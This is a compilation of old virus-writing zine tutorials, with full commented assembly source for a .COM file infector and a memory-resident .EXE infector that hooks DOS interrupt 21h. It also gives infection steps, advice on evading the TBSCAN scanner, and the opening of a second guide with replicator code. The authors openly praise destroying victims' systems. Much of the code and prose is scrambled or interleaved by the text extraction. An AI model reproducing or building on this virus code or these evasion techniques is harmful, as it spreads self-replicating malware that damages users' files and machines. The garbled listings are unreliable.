Virus programming (basics) #1... ----------------------------------------------------------------This section is dedicated to those who would like to write a virus, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed!. Well, if you meet these requisites, keep reading this article.... JE JNE
READ FUCK_YOU!
READ: The survival of a virus is based in its ability to reproduce. how the fuck do I make a program reproduce?", you might ask. Simple, by getting it to copy itself to other files....
"So
The functional logic of a virus is as follows: 12345-
Search for a file to infect Open the file to see if it is infected If infected, search for another file Else, infect the file Return control to the host program.
The following is an example of a simple virus: ;**************************************************************** ; START OF THE EXAMPLE: ;**************************************************************** ;Warning, this example is a (piece of shit?) ; - The virus does not test for prior infection ; - it searches only for the first .COM file in the current ; directory ; ; Careful when executing this file, since the first time it's ; executed it will search for and infect the first file in the ; directory. If we later run the newly infected file, it will find ; the first file in its directory, itself.
Thus, it will re-infect
; itself over and over. ;===================CODIGO======================================= ;(The variables in a .COM file are relative to offset 100h). codigo segment 'code' org 100h
;Organize all the code starting ; from offset 100h assume cs:codigo,ds:codigo,es:codigo ;Define the use of the ;segments
start proc far COMIENZO: push cs push cs
;Start the routine ;Store ;Store
CS CS
; once again. ;Bring DS out from stack ;Bring ES out from stack
pop pop
ds es
call
falso_proc
falso_proc falso_proc pop sub
;Call proc. so that its ; address is placed in the stack
proc near endp bp bp, 107h
;BP<== Proc. address. ;BP<== BP - Previous directory
;This is done to take the variables relative to BP, since the ;infection displaces the variables at exactly the length of the ; file. At the first infection, instruction "SUB BP, 107h" is ; 107h, so that the contents of BP is 0; when I call a variable ; with "BP+VARIABLE" the value of the variable's address is not ; modified. When I load it , for example, from a 100h byte ; infected file, the instruction "SUB BP, 107h" leaves me at ; address 207h which means BP=100h, the size of the original file. ; Had I called the variable without adding BP, I would have been ; short by 100h bytes.
;Find the first .COM file in the directory ----------------------------------------mov ah, 4eh ;Search for the 1st file lea dx, bp+file_inf ;DS:DX= offset of FILE_INF ;(*.*) so it will search all ;the files, including directory ;names with extensions. mov cx, 0000h ;Entry attributes int 21h ;These attributes mentioned in the commentary are the directory's ; entry attributes. When I set the attributes to 0, I'm telling ; DOS to search normal files. If I include a bit combination which ; ; ; ;
provides the Hidden, System or Directory attributes, DOS will search for files with those attributes, as well as the normal files. If the search range includes the Volume bit, the search is limited to that.
;These are the bits which correspond to each attribute: ;Bits: 7 6 5 4 3 2 1 0 ; . . . . . . . 1 Bit 0: Read only ; . . . . . . 1 . Bit 1: Hidden ; . . . . . 1 . . Bit 2: System ; . . . . 1 . . . Bit 3: Volume ; . . . 1 . . . . Bit 4: Directory ; . . 1 . . . . . Bit 5: File ; ;Bits 6 and 7 are not used as they are reserved for "future ; applications". ;Open file
;---------------------------------------------------------------mov ah, 3dh ;Open the file. mov al, 00000010b ;read/write. mov dx, 009eh ;DX<== DTA(filename) offset int 21h ;put the handle in AX push ax ;and store in stack. ;The attributes I'm setting in AL are not the same as before. ; These are the "open" attributes. We are only interested in the ; first 3 bits, ;bits 2 1 0: ; ; 0 0 0 Read only mode ; 0 0 1 Write only mode ; 0 1 0 Read/Write mode ; ;OK, we now have the file attributes stored in AL. What we now ; need to do is to store in DX the offset of the variable where ; I've stored the ASCIIZ chain with the name of the file to be ; opened. In this case, we don't have a NAME_OF_FILE variable. ; Instead, the name is located in the DTA (Disk Transfer Area). I ; we have it in the DTA...... Why? Simply because when we search ; for a file to infect, all the information we need is returned to ; this memory area. This buffer, if it was not reset, is found in ; the PSP; more precisely, it starts at offset 80h and is 43d bytes ; in size. ; ;The DTA format is as follows: ; ;Offset Bytes Function ; 00h 21d Used by DOS for the 4fh service ; (search for the next file) ; 15h 01d Attributes of the file that's been found ; 16h 02d File time ; 18h 02d File date ; 1Ah 04d File size in bytes ; 1Eh 13d File name in an ASCIIZ chain ; (FILENAME.EXT),0 ; ;Well, all that remains to be doe is to give DX the position in ; memory where I've stored the filename: "MOV DX, E1h" and its's ; done. But careful now, remember that DTA starts at offset 80h, ; which means I have to pass to DX the value "80h+1Eh = 9Eh".
That
; would than leave "MOV DX, 9Eh"; the problem is solved. Now you are probably asking yourselves what I mean by "handle". The handle is a number which tells DOS which file we want. DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write. ;Read the first 3 bytes. ----------------------------------------------------pop bx ;I take the handle from the
push mov mov lea int
bx ah, 3fh cx, 0003h dx, bp+buffer 21h
;stack to BX ;and I store it again. ;Read file. ;Read 3 bytes. ;and store in the buffer.
INFECTAR: ;(infect) ;Move pointer to the start. --------------------------------------------------mov ax, 4200h ;I move the write pointer ;to the beginning of the program mov cx, 0000h mov dx, 0000h int 21h ;The pointer's displacement, relative to the position of the ; pointer as specified in AL, is placed in CX and DX. ; Pointer displacement modes set in AL: ; AL <== 00 Move pointer to the beginning of the file. ; AL <== 01 leave pointer where it is. ; AL <== 02 Move pointer to end-of-file. ;Write the first byte (jmp) ------------------------------------------------mov ah, 40h ;write the first byte. mov cx, 1d ;Quantity=1. lea dx, bp+jump ;DX<== JUMP offset int 21h ;(Here we still need the handle, but we don't need to set it again ; because the register which contained the information was not ; modified. ; ;The first byte to be written is a JUMP instruction (the symbol for ; the jump is below). What follows the jump is the address of the ; jump, file-length + 1. (test the "+ 1" thoroughly, since this ; can cause problems; if so, multiply by 18 or subtract 23.) ; Hehehehe. ;Since the entire virus code is copied at the end of the file, the ; jump gives the virus control in an infected file. ;Calculating file length ------------------------------------------------mov cx, 2 ;Copy 2 bytes. mov si, 009ah ;SI<== DTA offset lea di, bp+longitud ;DI<== File LENGTH offset. rep movsb ;Copy.
;This instruction must have the 'SOURCE' buffer address in DS:SI ; and the address where the string will be copied in ES:DI (in this ; case, I copy the file length of the DTA to the variable ; 'LONGITUD').
sub
word ptr [bp+longitud], 3
;The JMP is completed -------------------------------------mov ah, 40h mov cx, 2d lea dx, bp+longitud int
;subtract 3 bytes from ;[LONGITUD]
;Write. ;Number of bytes. ;DX<== LONGITUD (length) ; offset
21h
;Move pointer to end ------------------------------------------------------mov ax, 4202h ;Move the write pointer to the ;end of the program. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;Restore LONGITUD. ;Copy the virus to the program. --------------------------------------------------pop bx ;Restore the handle. mov ah, 40h mov cx, 190d ;number of bytes to copy. lea dx, bp+comienzo ;Start copying from.... int 21h ;Close the file after infection -----------------------------------mov ah, 3eh int 21h
;Close file.
;Here, too, we need in DS:DX the address of the buffer which ; contains the filename string, but in this case DS and DX already ; contain those values from before. NO_INFECTAR: ;==================RETURN CONTROL TO THE HOST===================== ;Copy the buffer which contains the first 3 bytes of the file into ; memory. -----------------mov cx, 0003h ;Number of bytes (3). mov di, 0100h ;DI<== offset 100h. Beginning of the ;program in memory. lea si, bp+buffer ;SI<== BUFFER offset rep movsb ;Copy. ;What we are doing here is to "fix" the file, since when it was ; infected, the first few bytes are overwritten by the virus. That ; is why we reconstruct the file to its original state, by copying ; the first 3 bytes, which we had stored earlier, into memory. ;Jump to offset 100h
-------------------------------------------------------mov jmp
ax, 0100h ax
;Address needed to execute the host
;As we mentioned before, in .COM files the executable code begins ; at offset 100h. The information found between 00h and 100h is ; program data, like the DTA for example. ;The main difference between a .COM file and an .EXE is that a .COM ; cannot occupy more than one memory segment, or 65535 bytes. ; .EXEs can, because DOS can 'tailor' them to fit into a number of ; different segments. Unlike.EXE files. .COM files are faithful ; reproductions of the contents of memory. ;====================DATA AREA=================================== buffer longitud file_inf jump
db 7d dup(0) db 2 dup(0) db '*.COM',0 db 'ĂŠ',0 ;<----jump ascii
;(The character '0' is the end of the ASCIIZ string) start codigo end
endp ends comienzo
;End of main procedure ;end of code segment ;END. Go to COMIENZO
;**************************************************************** ; END OF EXAMPLE ;**************************************************************** Drako.
Virus programming (not so basic) #2... -----------------------------------------------------------------Infecting an .EXE is not much more difficult than infecting a .COM. To do so, you must learn about a structure known as the EXE header. Once you've picked this up, it's not so difficult and it offers many more options than just a simple jump at the beginning of the code. Let's begin: % The Header structure % The information on EXE header structure is available from any good DOS book, and even from some other H/P/V mags. Anyhow, I'll include that information here for those who don't have those sources to understand what I'm talking about. Offset 00 02 04 06 08 0A 0C 0E 10 12 14 16 18 1A
Description EXE identifier (MZ = 4D5A) Number of bytes on the last page (of 512 bytes) of the program Total number of 512 byte pages, rounded upwards Number of entries in the File Allocation Table Size of the header in paragraphs, including the FAT Minimum memory requirement Maximum memory requirement Initial SS Initial SP Checksum Initial IP Initial CS Offset to the FAT from the beginning of the file Number of generated overlays
The EXE identifier (MZ) is what truly distinguishes the EXE from a COM, and not the extension. The extension is only used by DOS to determine which must run first (COM before EXE before BAT). What really tells the system whether its a "true" EXE is this identifier (MZ). Entries 02 and 04 contain the program size in the following format: 512 byte pages * 512 + remainder. In other words, if the program has 1025 bytes, we have 3 512 byte pages (remember, we must round upwards) plus a remainder of 1. (Actually, we could ask why we need the remainder, since we are rounding up to the nearest page. Even more since we are going to use 4 bytes for the size, why not just eliminate it? The virus programmer has such a rough life :-)). Entry number 06 contains the number of entries in the FAT (number of pointers, see below) and entry 18 has the offset from the FAT within the file. The header size (entry 08) includes the FAT. The minimum memory requirement (0A) indicates the least amount of free memory the program needs in order to run and the maximum (0C) the ideal amount of memory to run the program. (Generally this is set to FFFF = 1M by the linkers, and DOS hands over all available memory).
The SS:SP and CS:IP contain the initial values for theses registers (see below). Note that SS:SP is set backwards, which means that an LDS cannot load it. The checksum (12) and the number of overlays (1a) can be ignored since these entries are never used. % EXE vs. COM load process % Well, by now we all know exhaustively how to load a .COM: We build a PSP, we create an Environment Block starting from the parent block, and we copy the COM file into memory exactly as it is, below the PSP. Since memory is segmented into 64k "caches" no COM file can be larger than 64K. DOS will not execute a COM file larger than 64K. Note that when a COM file is loaded, all available memory is granted to the program. Where it pertains to EXEs, however, bypassing these limitations is much more complex; we must use the FAT and the EXE header for this. When an EXE is executed, DOS first performs the same functions as in loading a COM. It then reads into a work area the EXE header and, based on the information this provides, reads the program into its proper location in memory. Lastly, it reads the FAT into another work area. It then relocates the entire code. What does this consist of? The linker will segment references as having a base address of the first segment is 0, the second is 1, etc. the program is loaded into a non-zero segment; In this case, all references to segment 1 must segment 1001h.
always treat 0. In other On the other for example, be converted
any words, hand, 1000h. to
The FAT is simply a list of pointers which mark references of this type (to segment 1, etc.). These pointers, in turn, are also relative to base address 0, which means they, too, can be reallocated. Therefore, DOS adds the effective segment (the segment into which the program was loaded; i.e. 1000h) to the pointer in the FAT and thus obtains an absolute address in memory to reference the segment. The effective segment is also added to this reference, and having done this with each and every segment reference, the EXE is reallocated and is ready to execute. Finally, DOS sets SS:SP to the header values (also reallocated; the header SS + 1000H), and turns control over to the CS:IP of the header (obviously also reallocated). Lets look at a simple exercise: EXE PROGRAM FILE Header (reallocation table entries=2)
CS:IP (Header) 0000:0000 + Eff. Segment 1000 + PSP 0010 = ------------------------Entry Point 1010:0000 >ÄÄÄÄÄÄÄÄÄ¿ Reallocation Table ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ 0000:0003 >ÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ 0000:0007 >ÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿ ³ ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ Program Image ³ ³ PROGRAM IN MEMORY ³
call 0001:0000 1010:0006 mov ds, ax
³ ³ PSP ³ ÀÄÄ> call 1011:0000 mov ds, ax
1000:0000 1010:0000
³ mov ax, 1013
1010:0009
Note: I hope you appreciate my use of the little arrows, because it cost me a testicle to do it by hand using the Alt+??? keys in Norton Commander Editor. % Infecting the EXE % Once it has been determined that the file is an EXE and NOT a COM, use the following steps to infect it: -
-
-
-
-
Obtain the file size and calculate the CS:IP This is complex. Most, if not all, viruses add 1 to 15 garbage bytes to round out to a paragraph. This allows you to calculate CS in such a way that IP does not vary from file to file. This, in turn, allows you to write the virus without "reallocation" since it will always run with the same offset, making the virus both less complex and smaller. The (minimal) effort expended in writing these 1 - 15 bytes is justified by these benefits. Add the virus to the end of the file. Well, I'm sure that by now you are familiar function 40H of Int 21H, right? :-) Calculate the SS:SP When infecting an EXE it is necessary for the virus to "fix" itself a new stack since otherwise the host's stack could be superimposed over the virus code and have it be overwritten when the code is executed. The system would then hang. Generally, SS is the same as the calculated CS, and SP is constant (you can put it after the code). Something to keep in mind: SP can never be an odd number because, even though it will work, it is an error and TBSCAN will catch it. (TBSCAN detects 99% of the virus stacks with the "K" flag. The only way to elude this that I'm aware of, is to place the stack AHEAD of the virus in the infected file, which is a pain in the ass because the infection size increases and you have to write more "garbage" to make room for the stack. Modify the size shown in the header Now that you've written the virus, you can calculate the final size and write it in the header. It's easy: place the size divided by 512 plus 1 in 'pages' and the rest in 'remainder'. All it takes is one DIV instruction. Modify the "MinAlloc" In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS will give it all the available memory. In such cases, there is more than enough room for HOST+VIRUS. But, two things could happen: 1. It could be that "MaxAlloc" is not set to FFFF, in which case only the minimum memory is granted to the host and possibly nothing for the virus. 2.
It could be that there is too little memory available, thus when the system gives the program "all the available memory" (as indicated by FFFF) there may still be insufficient memory for HOST+VIRUS.
In both cases, the virus does not load and the system halts. To get around this, all that needs to be done is to add to "MinAlloc" the size of the virus in "paragraphs". In the first case, DOS would load the program and everything would work like a charm. In the second case, DOS would not execute the file due to "insufficient memory". Well, that's all. Just two last little things: when you write an EXE infector, we are interested not only in the infection routine but also the installation routine. Keep in mind that in an EXE DS and ES point to the PSP and are different from SS and CS (which in turn can be different from each other). This can save you from hours of debugging and inexplicable errors. All that needs to be done is to follow the previously mentioned steps in order to infect in the safe, "traditional" way. I recommend that you study carefully the virus example below as it illustrates all the topics we've mentioned. % Details, Oh, Details ... % One last detail which is somewhat important, deals with excessively large EXEs. You sometimes see EXEs which are larger than 500K. (For example, TC.EXE which was the IDE for TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very common; they simply have internal overlays. It's almost impossible to infect these EXEs for two reasons: 1. The first is more or less theoretical. It so happens that it's only possible to direct 1M to registers SEGMENT:OFFSET. For this reason, it is technically impossible to infect EXEs 1M+ in size since it is impossible to direct CS:IP to the end of the file. No virus can do it. (Are there EXEs of a size greater than 1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!) 2. The second reason is of a practical nature. These EXEs with internal overlays are not loaded whole into memory. Only a small part of the EXE is loaded into memory, which in turn takes care of loading the other parts AS THEY ARE NEEDED. That's why its possible to run an 800K EXE (did you notice that 800K > 640K? :-) ). How does this fact make these EXEs difficult to infect? Because once one of these EXEs has been infected and the virus has made its modifications, the file will attempt to load itself into memory in it's entirety (like, all 800K). Evidently, the system will hang. It's possible to imagine a virus capable of infecting very large EXEs which contain internal overlays (smaller than 1M) by manipulating the "Header Size", but even so I can't see how it would work because at some point DOS would try to load the entire file. % A Special case: RAT % Understanding the header reallocation process also allows us to understand the functioning of a virus which infects special EXEs. We're talking about the RAT virus. This virus takes advantage of the fact that linkers tend to make the headers in caches of 512 bytes, leaving a lot of unused space in those situations where there is little reallocation. This virus uses this unused space in order to copy itself
without using the header (of the file allocation table). Of course, it works in a totally different manner from a normal EXE infector. It cannot allow any reallocation; since its code is placed BEFORE the host, it would be the virus code and not the host which is reallocated. Therefore, it can't make a simple jump to the host to run it (since it isn't reallocated); instead, it must re-write the original header to the file and run it with AX=4B00, INT 21. % Virus Example % OK, as behooves any worthwhile virus 'zine, here is some totally functional code which illustrates everything that's been said about infecting EXEs. If there was something you didn't understand, or if you want to see something "in code form", take a good look at this virus, which is commented OUT THE ASS. -------------------- Cut Here -----------------------------------;NOTE: This is a mediocre virus, set here only to illustrate EXE ; infections. It can't infect READ ONLY files and it modifies the ; date/time stamp. It could be improved, such as by making it ; infect R/O files and by optimizing the code. ; ;NOTE 2: First, I put a cute little message in the code and second, ; I made it ring a bell every time it infects. So, if you infect ; your entire hard drive, it's because you're a born asshole. code segment para public assume cs:code, ss:code VirLen equ offset VirEnd - offset VirBegin VirBegin label byte Install: mov ax, 0BABAH ; This makes sure the virus doesn't go resident ; twice int 21h cmp ax, 0CACAH ; If it returns this code, it's already ; resident jz AlreadyInMemory mov int mov mov
ax, 3521h ; This gives us the original INT 21 address so 21h ; we can call it later cs:word ptr OldInt21, bx cs:word ptr OldInt21+2, es
mov dec mov mov
ax, ds ax es, ax ax, es:[3] ; block size
sub ax, ((VirLen+15) /16) + 1 xchg bx, ax mov ah,4ah push ds pop es int 21h mov ah, 48h
; ; ; ; ; ; ; ; ; ; ; ;
\ | | | | | | | | | | |
If you're new at this, ignore all this crap (It's the MCB method) It's not crucial for EXE infections. It's one of the ways to make a virus go resident.
mov bx, ((VirLen+15) / 16) int 21h dec ax mov es, ax mov word ptr es:[1], 8 inc ax mov es, ax xor di, di xor si, si push ds push cs pop ds mov cx, VirLen repz movsb
; ; ; ; ; ; ; ; ; ; ; ; ; ;
| | | | | | | | | | | | | /
mov ax, 2521h ; Here you grab INT 21 mov dx, offset NewInt21 push es pop ds int 21h pop ds ; This makes DS & ES go back to their original ; values push ds ; IMPORTANT! Otherwise the EXE will receive the pop es ; incorrect DE & ES values, and hang. AlreadyInMemory: mov ax, ds add ax, add ax, mov ss, mov mov add add
sp, ax, ax, ax,
push ax mov ax, push ax retf
; With this I set SS to the ; Header value. cs:word ptr SS_SP ; Note that I "reallocate" it ; using DS since this is the 10h ; the segment into which the ax ; program was loaded. The +10 ; corresponds to the cs:word ptr SS_SP+2 ; PSP. I also set SP ds cs:word ptr CS_IP+2 ; Now I do the same with CS & 10h ; IP. I "push" them and then I ; do a retf. (?) ; This makes it "jump" to that cs:word ptr CS_IP ; position
NewInt21: cmp ax, 0BABAh ; jz PCheck ; cmp ax, 4b00h ; jz Infect ; jmp cs:OldInt21
This ensures the virus does not go resident twice. This intercepts the "run file" function ; If it is neither of these, it turns control ; back to the original INT21 so that it ; processes the call.
PCheck: mov ax, 0CACAH iret
; This code returns the call. ; return.
; Here's the infection routine.
Pay attention, because this is
; "IT". ; Ignore everything else if you wish, but take a good look at this. Infect: push ds ; We put the file name to be infected in DS:DX. push dx ; Which is why we must save it. pushf call cs:OldInt21 ; We call the original INT21 to run the file. push bp mov bp, sp
; We save all the registers. ; This is important in a resident routine, ;since if it isn't done, ; the system will probably hang.
push ax pushf push bx push cx push dx push ds lds dx, [bp+2] mov ax, 3d02h int 21h xchg bx, ax mov ah, 3fh mov cx, 20h push cs pop ds mov dx, offset int 21h
; Again we obtain the filename (from the stack) ; We open the file r/w
; Here we read the first 32 bytes to memory. ; to the variable "ExeHeader"
ExeHeader
cmp ds:word ptr ExeHeader, 'ZM' jz Continue jmp AbortInfect Continue: cmp ds:word ptr Checksum, 'JA'
; This is the virus's way ; of identifying itself. ; We use the Header Chksum for this ; It's used for nothing else. If ; already infected, don't re-infect. :-)
jnz Continue2 jmp AbortInfect Continue2: mov ax, 4202h cwd xor cx, cx int 21h and ax, 0fh or ax, ax jz DontAdd mov cx, 10h sub cx, ax mov ah, 40h int 21h DontAdd: mov ax, 4202h cwd xor cx, cx int 21h
; This determines if it's a ; "real" EXE or if it's a COM. ; If it's a COM, don't infect.
; Now we go to the end of file to see of it ; ends in a paragraph
; ; ; ;
If "yes", we do nothing If "no", we add garbage bytes to serve as Note that the contents of DX no longer matter since we don't care what we're inserting.
; OK, now we get the final size, rounded ; to a paragraph.
mov shr mov shl add sub
cl, ax, cl, dx, dx, dx,
4 ; This code calculates the new CS:IP the file must cl ; now have, as follows: 12 ; File size: 12340H (DX=1, AX=2340H) cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS ax ; DX now has the CS value it must have. word ptr ds:ExeHeader+8 ; We subtract the number of ; paragraphs from the header push dx ; and save the result in the stack for later. ; <------- Do you understand why you can't infect ; EXEs larger than 1M? mov ah, 40h ; Now we write the virus to the end of the file. mov cx, VirLen ; We do this before touching the header so that cwd
; CS:IP or SS:SP of the header (kept within the ; ; ; ;
int 21h
virus code) contains the original value so that the virus installation routines work correctly.
pop dx mov ds:SS_SP, dx
; Modify the header CS:IP so that it ; points to the virus. mov ds:CS_IP+2, dx ; Then we place a 100h stack after the mov ds:word ptr CS_IP, 0 ; virus since it will be used by ; the virus only during the installation process. Later, the ; stack changes and becomes the programs original stack. mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; the previous command SP to have an even value, otherwise ; TBSCAN will pick it up. mov ax, 4202h ; We obtain the new size so as to calculate the xor cx, cx ; size we must place in the header. cwd int 21h mov cx, 200h ; We calculate the following: div cx ; FileSize/512 = PAGES plus remainder inc ax ; We round upwards and save mov word ptr ds:ExeHeader+2, dx ; it in the header to mov word ptr ds:ExeHeader+4, ax ; write it later. mov word ptr ds:Checksum, 'JA'; We write the virus's ; identification mark in the ; checksum. add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; We add the number of paragraphs to the "MinAlloc" ; to avoid memory allocation problems (we also add 10 ; paragraphs for the virus's stack. mov cwd xor int mov mov mov int
ax, 4200h cx, 21h ah, cx, dx, 21h
; Go to the start of the file
cx 40h ; and write the modified header.... 20h offset ExeHeader
mov ah, 2 ; a little bell rings so the beginner remembers mov dl, 7 ; that the virus is in memory. IF AFTER ALL int 21h ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR ; NUTS. AbortInfect: mov ah, 3eh ; Close the file. int 21h pop ds ; We pop the registers we pushed so as to save pop dx ; them. pop cx pop bx pop ax;flags ; This makes sure the flags are passed mov bp, sp ; correctly. Beginners can ignore this. mov [bp+12], ax pop ax pop bp add sp, 4 iret ; We return control.
; Data OldInt21 dd 0 ; Here we store the original INT 21 address. ExeHeader db 0eh DUP('H'); SS_SP dw 0, offset VirEnd+100h Checksum dw 0 CS_IP dw offset Hoste,0 dw 0,0,0,0 ; This is the EXE header. VirEnd label byte Hoste: ; This is not the virus host, rather the "false host" so that ; the file carrier runs well :-). mov ah, 9 mov dx, offset MSG push cs pop ds int 21h mov ax, 4c00h int 21h MSG db "LOOK OUT! The virus is now in memory!", 13, 10 db "And it could infect all the EXEs you run!", 13, 10 db "If you get infected, that's YOUR problem", 13, 10 db "We're not responsible for your stupidity!$" ends end -------------------- Cut Here ------------------------------------% Conclusion % OK, that's all, folks. I tried to make this article useful for both the "profane" who are just now starting to code Vx as well as for those who have a clearer idea. Yeah, I know the beginners almost certainly didn't understand many parts of this article due the complexity of the matter, and the experts may not have
understood some parts due to the incoherence and poor descriptive abilities of the writer. Well, fuck it. Still, I hope it has been useful and I expect to see many more EXE infectors from now on. A parting shot: I challenge my readers to write a virus capable of infecting an 800K EXE file (I think it's impossible). Prize: a lifetime subscription to Minotauro Magazine :-). Trurl, the great "constructor"
//==// // // /|| // // // // //|| //==// //==// //=|| // // // // || // // // // ||
// // // // //====
//==== //==// //| // // // // //|| // // // // // || // // // // // ||// //==== //==// // ||/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=DISCLAIMER: The author hereby disclaims himself -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=DEDICATION: This was written to make the lives of scum such as Patty Hoffman, John McAffee, and Ross Greenberg a living hell. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=OTHER STUFF: Thanks go to The Shade of Sorrow, Demogorgon, and Orion Rouge on their comments (which I occasionally listened to!). Thanks also to Hellraiser, who gave me an example of some virus source code (his own, of course). -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Dark Angel's Phunky Virus Writing Guide ---- ------- ------ ----- ------- ----Virii are wondrous creations written for the sole purpose of spreading and destroying the systems of unsuspecting fools. This eliminates the systems of simpletons who can't tell that there is a problem when a 100 byte file suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not deserve to exist, so it is our sacred duty to wipe their hard drives off the face of the Earth. It is a simple matter of speeding along survival of the fittest. Why did I create this guide? After writing several virii, I have noticed that virus writers generally learn how to write virii either on their own or by examining the disassembled code of other virii. There is an incredible lack of information on the subject. Even books published by morons such as Burger are, at best, sketchy on how to create a virus. This guide will show you what it takes to write a virus and also will give you a plethora of source code to include in your own virii. Virus writing is not as hard write an effective virus, however, you Short,
as you
might first
*must*
know
imagine.
assembly
To
language.67222659-6). It is an easy-to-follow book covering assembly in great detail. Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #020157064-5), as it is very helpful. The question of which compiler to use arises often. I suggest using Borland Turbo Assembler and/or Borland C++. I do not have a copy of Zortech C (it was too large to download), but I would suspect that it is also a good choice. Stay away from Microsoft compilers, as they are not as flexible nor as efficient as those of other vendors. A few more items round out the list of tools helpful in constructing virii. The latest version of Norton Utilities is one of the most powerful programs available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You can find it on any decent board. It can be used during every step of the process, from the writing to the testing. A good debugger helps. Memory management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are invaluable, especially when coding TSR virii. Sourcer, the commenting disassembler, is useful when you wish to examine the code of other virii (this is a good place to get ideas/techniques for your virus). Now that you have your tools, you are ready to create a work of art designed to smash the systems of cretins. There are three types of virii:
1) Tiny virii (under 500 bytes) which are designed to be undetectable due to their small size. TINY is one such virus. They are generally very simple because their code length is so limited. 2) Large virii (over 1,500 bytes) which are designed to be undetectable because they cover their tracks very well (all that code DOES have a use!). The best example of this is the Whale virus, which is perhaps the best 'Stealth' virus in existence. 3) Other virii which are not designed to be hidden at all (the writers don't give a shit). The common virus is like this. All overwriting virii are in this category. You must decide which kind of virus you wish to write. I will mostly be discussing the second type (Stealth virii). However, many of the techniques discribed may be easily applied to the first type (tiny virii). However, tiny virii generally do not have many of the "features" of larger virii, such as directory traversal. The third type is more of a replicating trojan-type, and will warrant a brief (very, very brief!) discussion later. A virus may be divided into three parts: the replicator, the concealer, and the bomb. The replicator part controls the spread of the virus to other files, the concealer keeps the virus from being detected, and the bomb only executes when the activation conditions of the virus (more on that later) are satisfied. -=-=-=-=-=-=-=THE REPLICATOR -=-=-=-=-=-=-=The job of the replicator is to spread the virus throughout the system of the clod who has caught the virus. How does it do this without destroying the file it infects? The easiest type of replicator infects COM files. It first saves the first few bytes of the infected file. It then copies a small portion of its code to the beginning of the file, and the rest to the end.
+----------------+ | P1 | P2 | +----------------+ The uninfected file
+------------+ | V1 | V2 | +------------+ The virus code
In the diagram, P1 is part 1 of and V1 and V2 are parts 1 and 2 of the should be the same as the size of V1, but have to be the same size as V2. The the either 1) the end of the file Let's assume it copies the code to the like:
the file, P2 is part 2 of the file, virus.
Note that the size of P1
the size of P2 doesn't necessarily virus first
saves P1 and copies it to
or 2) inside the code of the virus. end of the file.
The file now looks
+---------------------+ | P1 | P2 | P1 | +---------------------+ Then, the the file.
virus copies
the first
part of
itself to the beginning of
+---------------------+ | V1 | P2 | P1 | +---------------------+ Finally, the virus copies the second part of itself to the end of the file. The final, infected file looks like this: +-----------------------------+ | V1 | P2 | P1 | V2 | +-----------------------------+ The question is: What the fuck do V1 and V2 do? control of the program to V2. The code to do this is simple.
Duh
JMP FAR PTR Duh DW V2_Start
V1 transfers
; Takes four bytes ; Takes two bytes
Duh is a far pointer (Segment:Offset) pointing to the first instruction of V2. Note that the value of Duh must be changed to reflect the length of the file that is infected. For example, if the original size of the program is 79 bytes, Duh must be changed so that the instruction at CS:[155h] is executed. The value of Duh is obtained by adding the length of V1, the original size of the infected file, and 256 (to account for the
PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal (155 hex). An alternate, albeit more difficult to understand, method follows:
Duh
DB 1101001b ; Code for JMP (2 byte-displacement) DW V2_Start - OFFSET Duh ; 2 byte displacement
This inserts jump instruction.
the jump
offset directly
into the
code following
the
You could also replace the second line with
DW V2_Start - $ which accomplishes the same task. V2 contains the rest of the code, i.e. the stuff that does everything else. The last part of V2 copies P1 over V1 (in memory, not on disk) and then transfers control to the beginning of the file (in memory). The original program will then run happily as if nothing happened. The code to do this is also very simple. MOV starts SUB MOV memory MOV REP
SI, V2_START
; V2_START is a LABEL marking where V2
SI, V1_LENGTH DI, 0100h
; Go back to where P1 is stored ; All COM files are loaded @ CS:[100h] in
CX, V1_LENGTH MOVSB
; Move CX bytes ; DS:[SI] -> ES:[DI]
MOV DI, 0100h JMP DI This code assumes that P1 is located just before V2, as in: P1_Stored_Here: . . . V2_Start: It also assumes ES equals CS. If these assumptions are false, change the code accordingly. Here is an example: PUSH CS POP ES MOV MOV MOV REP
SI, P1_START DI, 0100h CX, V1_LENGTH MOVSB
; Store CS ; and move it to ES ; Note MOV ES, CS is not a valid instruction ; Move from whereever P1 is stored ; to CS:[100h]
